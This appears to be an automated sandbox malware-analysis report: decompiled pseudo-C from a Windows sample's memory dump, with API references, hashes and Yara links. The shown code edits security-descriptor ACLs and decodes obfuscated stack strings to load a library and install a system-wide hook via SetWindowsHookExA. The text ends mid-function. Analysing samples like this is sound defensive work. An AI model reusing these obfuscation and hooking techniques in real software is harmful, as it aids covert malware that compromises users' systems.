																				_t206 = GetLengthSid( *(_t359 + 0x18));
																				_t353 =  *(_t359 + 0x18);
																				_t282 = _t206;
																				_t317 = _t282;
																				_t283 = _t282 >> 2;
																				_t112 = _t358 + 8; // 0x8
																				memcpy(_t112, _t353, _t283 << 2);
																				_push(_t317);
																				memcpy(_t353 + _t283 + _t283, _t353, 0);
																				_t359 = _t359 + 0x18;
																				 *_t248->AclSize =  *_t248->AclSize +  *(_t358 + 2);
																				 *0x431f48 = 0x21;
																				if(AddAce( *_t248,  *( *_t248) & 0x000000ff, 0xffffffff, _t358,  *(_t358 + 2) & 0x0000ffff) == 0) {
																					goto L7;
																				} else {
																					_t213 =  *(_t359 + 0x20);
																					 *(_t213 + 2) =  *(_t213 + 2) | 0x00000004;
																					_t354 =  *(_t359 + 0x38);
																					 *(_t213 + 0x10) =  *_t248;
																					if(IsValidSecurityDescriptor( *(_t354 + 4)) == 0) {
																						goto L7;
																					} else {
																						asm("pushfd");
																						asm("popfd");
																						 *((intOrPtr*)(_t354 + 8)) = 1;
																						 *_t354 = 0xc;
																						return E00424873(1,  *((intOrPtr*)(_t359 + 0x30)));
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										HeapFree(_t348, _t135,  *(_t359 + 0x38));
										HeapFree(_t348, _t358, _t239);
										HeapFree(_t348, _t358,  *(_t359 + 0x40));
										HeapFree(_t348, _t358,  *(_t359 + 0x44));
										_push( *(_t359 + 0x20));
										goto L6;
									}
								} else {
									HeapFree(_t348, _t134,  *(_t359 + 0x38));
									HeapFree(_t348, 0, _t239);
									HeapFree(_t348, 0, 0);
									_push( *(_t359 + 0x44));
									goto L6;
								}
							} else {
								HeapFree(_t348, _t132,  *(_t359 + 0x38));
								HeapFree(_t348, 0, _t239);
								_push(0);
								goto L6;
							}
						} else {
							HeapFree(_t348, 0,  *(_t359 + 0x38));
							_push(_t239);
							L6:
							HeapFree(_t348, 0, ??);
							L7:
							return E00424873(0,  *(_t359 + 0x20));
						}
					} else {
						HeapFree(_t348, 0,  *(_t359 + 0x38));
						return E00424873(0,  *(_t359 + 0x20));
					}
				} else {
					return E00424873(0,  *(_t359 + 0x20));
				}
			}

0x00423263
0x0042326d
0x00423271
0x00423276
0x0042327b
0x00423280
0x00423285
0x0042328a
0x0042328f
0x00423293
0x00423297
0x0042329b
0x0042329f
0x004232ab
0x004232ae
0x004232b2
0x004232ba
0x004232bd
0x004232de
0x004232df
0x004232e2
0x0042330e
0x00423310
0x00423314
0x00423318
0x0042334e
0x00423350
0x00423354
0x00423375
0x00423377
0x0042337b
0x004233a7
0x004233a9
0x004233ad
0x004233df
0x004233e3
0x004233e7
0x004233eb
0x004233ef
0x004233f3
0x004233f9
0x00423405
0x00000000
0x0042342a
0x00423442
0x00423446
0x00000000
0x0042344c
0x00423462
0x00423466
0x00000000
0x0042346c
0x00423482
0x00423486
0x00000000
0x0042348c
0x0042348e
0x00423490
0x00000000
0x004234ab
0x004234b1
0x004234b3
0x00000000
0x00423507
0x00423507
0x00423518
0x0042351b
0x00423524
0x0042352a
0x00423537
0x0042353b
0x00423549
0x00423552
0x00423558
0x0042355d
0x0042355e
0x00423563
0x00423568
0x00423568
0x0042356e
0x00423574
0x00423578
0x00423584
0x00423593
0x004235b0
0x00000000
0x004235b6
0x004235b6
0x004235c0
0x004235c1
0x004235e9
0x004235f7
0x00000000
0x00423609
0x00423609
0x00423627
0x0042362c
0x00423639
0x0042363d
0x00423644
0x0042364f
0x00423658
0x0042365e
0x00423662
0x00423666
0x00423669
0x0042366a
0x0042366d
0x00423670
0x00423672
0x00423677
0x00423677
0x0042367f
0x00423683
0x0042368d
0x00423699
0x0042369e
0x004236a3
0x004236b1
0x004236c7
0x00000000
0x004236cd
0x004236d1
0x004236fd
0x0042370c
0x00000000
0x0042371e
0x0042371e
0x00423724
0x00423731
0x00423735
0x00423743
0x0042374c
0x00423752
0x00423757
0x00423759
0x0042375a
0x0042375d
0x00423760
0x00423762
0x00423767
0x00423767
0x0042376f
0x00423773
0x00423793
0x00000000
0x00423799
0x0042379b
0x0042379f
0x004237a3
0x004237a7
0x004237b6
0x00000000
0x004237bc
0x004237c1
0x004237c5
0x004237c7
0x004237ca
0x004237da
0x004237da
0x004237b6
0x00423793
0x0042370c
0x004236c7
0x004235f7
0x004235b0
0x004234b3
0x00423490
0x00423486
0x00423466
0x00423446
0x004233af
0x004233bc
0x004233c1
0x004233ca
0x004233d3
0x004233d9
0x00000000
0x004233d9
0x0042337d
0x0042338a
0x00423390
0x00423396
0x0042339c
0x00000000
0x0042339c
0x00423356
0x00423363
0x00423369
0x0042336b
0x00000000
0x0042336b
0x0042331a
0x00423327
0x00423329
0x0042332a
0x0042332d
0x0042332f
0x00423341
0x00423341
0x004232e4
0x004232eb
0x00423303
0x00423303
0x004232c1
0x004232d0
0x004232d0

APIs

GetProcessHeap.KERNEL32 ref: 0042329F
HeapAlloc.KERNEL32(00000000,00000008,00000014), ref: 004232B2
HeapAlloc.KERNEL32(00000000,00000008,00001000,00000000), ref: 004232DC
HeapFree.KERNEL32(00000000,00000000,?), ref: 004232EB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$Alloc$FreeProcess
String ID:
API String ID: 4128259342-0
Opcode ID: ae1f454e3edefd83494272d1dd1eeff27e5120b03375aaf6910b33e31aa6ed73
Instruction ID: d889ca8a868c30df7fb1cb9150bf1bc05899dcf26881883cc98aeeb7369c5684
Opcode Fuzzy Hash: ae1f454e3edefd83494272d1dd1eeff27e5120b03375aaf6910b33e31aa6ed73
Instruction Fuzzy Hash: 9EF1B071204354AFE310DF25EC45FAB7BE8EB89700F444919F584DB290DBB9EA05CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F660, Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 128
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0041F660(void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				intOrPtr _t63;
				short _t64;
				struct HINSTANCE__* _t78;
				struct HINSTANCE__* _t79;
				_Unknown_base(*)()* _t82;
				struct HHOOK__* _t83;
				intOrPtr _t91;
				void* _t108;
				char* _t109;

				_t109 =  &_v52;
				_t63 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t63;
				_t64 =  *0x431f38; // 0x2d2c
				_t108 = __ecx;
				_v30 = 0x54;
				_v52 = 0x54;
				_v50 = 0x7c;
				_v47 = 0x7c;
				_v17 = 0x7c;
				_v51 = 0x2c;
				_v46 = 0x2c;
				_t91 = 0;
				_v32 = 0x43;
				_v31 = 0x42;
				_v29 = 0x50;
				_v28 = 0x72;
				_v27 = 0x6f;
				_v26 = 0x63;
				_v25 = 0;
				_v49 = 0xc;
				_v48 = 0x12;
				_v45 = 0xe7;
				_v44 = 0x50;
				_v43 = 0x8d;
				_v42 = 0x53;
				_v41 = 0x29;
				_v40 = 0xa2;
				_v39 = 0xa8;
				_v38 = 0x4e;
				_v37 = 0x45;
				_v36 = 0xc5;
				_v24 = 0xf;
				_v23 = 0x41;
				_v22 = 0xf9;
				_v21 = 0x68;
				_v20 = 0x22;
				_v19 = 0xb8;
				_v18 = 0xd;
				_v16 = 0xe1;
				_v15 = 0xa7;
				_v14 = 0xf;
				_v13 = 0xe;
				_v12 = 0x8c;
				_v11 = 0xbc;
				_v10 = 0x1e;
				_v9 = 0x27;
				_v8 = 0x3b;
				 *0x431f38 = _t64 + 0xaa5;
				do {
					_t109[_t91 + 8] = _t109[_t91 + 8] + _t109[_t91 + 0x24];
					_t91 = _t91 + 1;
				} while (_t91 < 0x11);
				_t50 = _t108 + 0x17c; // 0x0
				_push(1);
				_pop(0);
				if( *_t50 == 0) {
					_t52 = _t108 + 0x1c; // 0x0
					if( *_t52 == 0 ||  *((intOrPtr*)(__ecx + 4)) <= 5) {
						_t78 = LoadLibraryA( &_v52); // executed
						_t79 = _t78;
						 *(_t108 + 0x170) = _t79;
						if(_t79 == 0) {
							goto L8;
						} else {
							_t82 = GetProcAddress(_t79,  &_v32);
							 *(_t108 + 0x174) = _t82;
							if(_t82 != 0) {
								_t59 = _t108 + 0x170; // 0x0
								_t83 = SetWindowsHookExA(5, _t82,  *_t59, 0);
								 *(_t108 + 0x178) = _t83;
								if(_t83 == 0) {
								}
								 *((intOrPtr*)(_t108 + 0x17c)) = 0;
								return E00424873(0, _v8);
							} else {
								goto L8;
							}
						}
					} else {
						L8:
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(0, _v4);
				}
			}

0x0041f660
0x0041f663
0x0041f668
0x0041f66c
0x0041f687
0x0041f68f
0x0041f693
0x0041f6a3
0x0041f6a7
0x0041f6ab
0x0041f6af
0x0041f6b3
0x0041f6b9
0x0041f6c0
0x0041f6c5
0x0041f6ca
0x0041f6cf
0x0041f6d4
0x0041f6d9
0x0041f6de
0x0041f6e3
0x0041f6e8
0x0041f6ed
0x0041f6f2
0x0041f6f7
0x0041f6fc
0x0041f701
0x0041f706
0x0041f70b
0x0041f710
0x0041f715
0x0041f71a
0x0041f71f
0x0041f723
0x0041f728
0x0041f72d
0x0041f732
0x0041f737
0x0041f73c
0x0041f741
0x0041f746
0x0041f74b
0x0041f74f
0x0041f754
0x0041f759
0x0041f75e
0x0041f763
0x0041f768
0x0041f76d
0x0041f773
0x0041f77d
0x0041f781
0x0041f782
0x0041f787
0x0041f790
0x0041f793
0x0041f794
0x0041f7a7
0x0041f7ac
0x0041f7b9
0x0041f7bf
0x0041f7c1
0x0041f7c7
0x00000000
0x0041f7c9
0x0041f7cf
0x0041f7d7
0x0041f7dd
0x0041f7f0
0x0041f7fc
0x0041f804
0x0041f80a
0x0041f80a
0x0041f812
0x0041f824
0x00000000
0x00000000
0x00000000
0x0041f7dd
0x0041f7df
0x0041f7df
0x0041f7ef
0x0041f7ef
0x0041f796
0x0041f7a6
0x0041f7a6

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0041F7B9
GetProcAddress.KERNEL32(00000000,00000043), ref: 0041F7CF
SetWindowsHookExA.USER32 ref: 0041F7FC

Strings

", xrefs: 0041F732
A, xrefs: 0041F723
r, xrefs: 0041F6CF
o, xrefs: 0041F6D4
B, xrefs: 0041F6C5
P, xrefs: 0041F6F2
P, xrefs: 0041F6CA
', xrefs: 0041F763
h, xrefs: 0041F72D
E, xrefs: 0041F715
), xrefs: 0041F701
;, xrefs: 0041F768
c, xrefs: 0041F6D9
N, xrefs: 0041F710
S, xrefs: 0041F6FC
C, xrefs: 0041F6C0

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressHookLibraryLoadProcWindows
String ID: "$'$)$;$A$B$C$E$N$P$P$S$c$h$o$r
API String ID: 2564493370-1035779198
Opcode ID: 243044e6450c15f9b1c05a7b6a188140acb3a70066e9ff1627767c68a430f2c1
Instruction ID: 258e9e918ac57fe775645cf9199371edbc6d1dc21b4facf622b44b8e86931721
Opcode Fuzzy Hash: 243044e6450c15f9b1c05a7b6a188140acb3a70066e9ff1627767c68a430f2c1
Instruction Fuzzy Hash: 44516B2420C3C19AD311DB39984478BBFD05FA6318F484AADF0E9872D2D3A9854AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00425D91, Relevance: 10.6, APIs: 7, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			_entry_(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t35;
				struct HINSTANCE__* _t38;
				void* _t40;
				intOrPtr _t50;
				signed int _t53;
				void* _t55;
				signed int _t66;
				signed int _t67;
				long _t71;
				void* _t73;
				intOrPtr* _t80;
				long _t81;
				intOrPtr _t85;
				struct _OSVERSIONINFOA* _t87;
				signed int _t89;
				void* _t92;
				struct _OSVERSIONINFOA* _t93;

				_push(0x60);
				E0042664C(__ebx, __edi, __esi);
				E004254B0(0x94, __ecx, 0x42e598);
				 *(_t92 - 0x18) = _t93;
				_t87 = _t93;
				_t87->dwOSVersionInfoSize = 0x94;
				GetVersionExA(_t87);
				_t71 = _t87->dwPlatformId;
				 *0x432214 = _t71;
				_t35 = _t87->dwMajorVersion;
				 *0x432220 = _t35;
				_t81 = _t87->dwMinorVersion;
				 *0x432224 = _t81;
				_t89 = _t87->dwBuildNumber & 0x00007fff;
				 *0x432218 = _t89;
				if(_t71 != 2) {
					 *0x432218 = _t89 | 0x00008000;
				}
				 *0x43221c = (_t35 << 8) + _t81;
				_t38 = GetModuleHandleA(0);
				if(_t38->i != 0x5a4d) {
					L6:
					 *(_t92 - 0x1c) = 0;
				} else {
					_t80 =  *((intOrPtr*)(_t38 + 0x3c)) + _t38;
					if( *_t80 != 0x4550) {
						goto L6;
					} else {
						_t66 =  *(_t80 + 0x18) & 0x0000ffff;
						if(_t66 == 0x10b) {
							__eflags =  *((intOrPtr*)(_t80 + 0x74)) - 0xe;
							if( *((intOrPtr*)(_t80 + 0x74)) <= 0xe) {
								goto L6;
							} else {
								_t67 = 0;
								__eflags =  *(_t80 + 0xe8);
								goto L11;
							}
						} else {
							if(_t66 == 0x20b) {
								__eflags =  *((intOrPtr*)(_t80 + 0x84)) - 0xe;
								if( *((intOrPtr*)(_t80 + 0x84)) <= 0xe) {
									goto L6;
								} else {
									_t67 = 0;
									__eflags =  *(_t80 + 0xf8);
									L11:
									_t14 = __eflags != 0;
									__eflags = _t14;
									 *(_t92 - 0x1c) = _t67 & 0xffffff00 | _t14;
								}
							} else {
								goto L6;
							}
						}
					}
				}
				if(E0042846F(1) == 0) {
					E00425D6D(0x1c);
				}
				_t40 = E00427120();
				_t103 = _t40;
				if(_t40 == 0) {
					E00425D6D(0x10);
				}
				E0042AD49(_t103);
				 *(_t92 - 4) = 0;
				if(E0042AB4B() < 0) {
					E00425D48(0x1b);
				}
				 *0x4338bc = GetCommandLineA();
				 *0x432040 = E0042AA29();
				if(E0042A987() < 0) {
					E00425D48(8);
				}
				if(E0042A754() < 0) {
					E00425D48(9);
				}
				_t50 = E004291EA(1);
				_pop(_t73);
				 *((intOrPtr*)(_t92 - 0x28)) = _t50;
				if(_t50 != 0) {
					E00425D48(_t50);
					_pop(_t73);
				}
				 *(_t92 - 0x44) = 0;
				GetStartupInfoA(_t92 - 0x70);
				 *((intOrPtr*)(_t92 - 0x20)) = E0042A6F7();
				_t108 =  *(_t92 - 0x44) & 0x00000001;
				if(( *(_t92 - 0x44) & 0x00000001) == 0) {
					_t53 = 0xa;
				} else {
					_t53 =  *(_t92 - 0x40) & 0x0000ffff;
				}
				_t55 = E00415060(_t73, 0, _t108, GetModuleHandleA(0), 0,  *((intOrPtr*)(_t92 - 0x20)), _t53); // executed
				_t85 = _t55;
				 *((intOrPtr*)(_t92 - 0x2c)) = _t85;
				if( *(_t92 - 0x1c) == 0) {
					E00429317(_t85);
				}
				E00429339();
				 *(_t92 - 4) =  *(_t92 - 4) | 0xffffffff;
				return E00426687(_t85);
			}

0x00425d91
0x00425d98
0x00425da4
0x00425da9
0x00425dac
0x00425dae
0x00425db1
0x00425db7
0x00425dba
0x00425dc0
0x00425dc3
0x00425dc8
0x00425dcb
0x00425dd4
0x00425dda
0x00425de3
0x00425deb
0x00425deb
0x00425df6
0x00425e04
0x00425e0b
0x00425e2c
0x00425e2c
0x00425e0d
0x00425e10
0x00425e18
0x00000000
0x00425e1a
0x00425e1a
0x00425e23
0x00425e44
0x00425e48
0x00000000
0x00425e4a
0x00425e4a
0x00425e4c
0x00000000
0x00425e4c
0x00425e25
0x00425e2a
0x00425e31
0x00425e38
0x00000000
0x00425e3a
0x00425e3a
0x00425e3c
0x00425e52
0x00425e52
0x00425e52
0x00425e55
0x00425e55
0x00000000
0x00000000
0x00000000
0x00425e2a
0x00425e23
0x00425e18
0x00425e62
0x00425e66
0x00425e6b
0x00425e6c
0x00425e71
0x00425e73
0x00425e77
0x00425e7c
0x00425e7d
0x00425e82
0x00425e8c
0x00425e90
0x00425e95
0x00425e9c
0x00425ea6
0x00425eb2
0x00425eb6
0x00425ebb
0x00425ec3
0x00425ec7
0x00425ecc
0x00425ecf
0x00425ed4
0x00425ed5
0x00425eda
0x00425edd
0x00425ee2
0x00425ee2
0x00425ee3
0x00425eea
0x00425ef5
0x00425ef8
0x00425efc
0x00425f06
0x00425efe
0x00425efe
0x00425efe
0x00425f10
0x00425f16
0x00425f17
0x00425f1d
0x00425f20
0x00425f20
0x00425f25
0x00425f57
0x00425f65

APIs

GetVersionExA.KERNEL32(?,0042E598,00000060), ref: 00425DB1
GetModuleHandleA.KERNEL32(?,?,0042E598,00000060), ref: 00425E04
_fast_error_exit.LIBCMT ref: 00425E66
_fast_error_exit.LIBCMT ref: 00425E77
GetCommandLineA.KERNEL32(?,0042E598,00000060), ref: 00425E96
GetStartupInfoA.KERNEL32(?), ref: 00425EEA
GetModuleHandleA.KERNEL32(?,?,?,0000000A), ref: 00425F0D

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion
String ID:
API String ID: 295806912-0
Opcode ID: eda6eadfb9a0ff523b40fa2d4f23751fc7ce959bbc6689837bc1ceb83cc6c9a2
Instruction ID: 5b125da526ab6cfcbcafbf58ea651d9452d55c1caf415a075dcede4599583c52
Opcode Fuzzy Hash: eda6eadfb9a0ff523b40fa2d4f23751fc7ce959bbc6689837bc1ceb83cc6c9a2
Instruction Fuzzy Hash: 8341C370F40A34CBDB20AB76FC0566E7AA0AF04714FA5443FF414AA291DB7C8942CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042731A, Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_000272CC), ref: 0042731F

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction ID: 91d239ce8c3ec9bc864000ee122172ece4c8541e5da3e4e88b6e0ad87dd54bef
Opcode Fuzzy Hash: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction Fuzzy Hash: 74A012743022008BD3149F306E0501039A09E002013411075E500C1230D7700004D519

Uniqueness

Uniqueness Score: -1.00%

Function 0042732E, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00427333

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction ID: 8169098ac00662e5d218563eb379ef12e921e05fa147c2ad6ec4e4497947ff53
Opcode Fuzzy Hash: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00420570, Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 593
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00420570(void* __ebx, char __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				int _v260;
				int _v264;
				void* _v268;
				void* _v272;
				void* _v284;
				void* _v288;
				intOrPtr _t431;
				intOrPtr* _t434;
				void* _t437;
				char* _t438;
				void* _t440;
				void* _t443;
				signed int _t444;
				void* _t447;
				void* _t451;
				signed short _t452;
				long _t466;
				long _t472;
				long _t475;
				intOrPtr* _t476;
				signed short _t478;
				long _t491;
				signed int _t503;
				intOrPtr _t505;
				signed short _t509;
				intOrPtr* _t528;
				char _t529;
				signed short _t532;
				intOrPtr* _t540;
				intOrPtr* _t554;
				signed int _t555;
				intOrPtr* _t561;
				char* _t563;
				void* _t568;
				intOrPtr* _t570;
				signed int _t571;
				char* _t576;
				signed int _t577;
				void** _t579;

				_t579 =  &_v272;
				_t431 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t431;
				_v256 = __ecx;
				_v151 = 0x2c;
				_v146 = 0x2c;
				_v125 = 0x2c;
				_push(__ebx);
				_v137 = 0x45;
				_v180 = 0x45;
				_push(__ebp);
				_v136 = 0xc5;
				_v179 = 0xc5;
				_t509 =  *0x431f38; // 0x2d2c
				_v166 = 0x40;
				_v155 = 0x40;
				_v152 = 0x54;
				_v150 = 0x7c;
				_v149 = 0xc;
				_v148 = 0x12;
				_v147 = 0x7c;
				_v145 = 0xe7;
				_v144 = 0x50;
				_v143 = 0x8d;
				_v142 = 0x53;
				_v141 = 0x29;
				_v140 = 0xa2;
				_v139 = 0xa8;
				_v138 = 0x4e;
				_v135 = 0x81;
				_v134 = 9;
				_v133 = 0xb3;
				_v132 = 0xdc;
				_v131 = 0x50;
				_v130 = 0x2a;
				_v129 = 0xc2;
				_v128 = 5;
				_v127 = 0x69;
				_v126 = 0x76;
				_v124 = 0x20;
				_v123 = 0x30;
				_v122 = 0x70;
				_v121 = 0x9e;
				_v184 = 0xff;
				_v183 = 0x23;
				_v182 = 0xca;
				_v181 = 0x48;
				_v178 = 0x26;
				_v177 = 0x5e;
				_v176 = 0xc;
				_v175 = 0xc6;
				_v174 = 0x26;
				_v173 = 0x44;
				_v172 = 0xbf;
				_v171 = 0xc6;
				_v170 = 0x26;
				_v169 = 0x20;
				_v168 = 0x9e;
				_v167 = 0xdb;
				_v165 = 0xbb;
				_v164 = 0x97;
				_v163 = 0x24;
				_v162 = 0x37;
				_v161 = 0xaa;
				_v160 = 0x67;
				_v159 = 0xfc;
				_v158 = 0xee;
				_v157 = 0x15;
				_v156 = 0x50;
				_v154 = 3;
				_v153 = 0x62;
				_t434 = 0;
				_push(__esi);
				do {
					 *((intOrPtr*)(_t579 + _t434 + 0x84)) =  *((intOrPtr*)(_t579 + _t434 + 0x84)) +  *((intOrPtr*)(_t579 + _t434 + 0x64));
					 *((intOrPtr*)(_t579 + _t434 + 0x85)) =  *((intOrPtr*)(_t579 + _t434 + 0x85)) +  *((intOrPtr*)(_t579 + _t434 + 0x65));
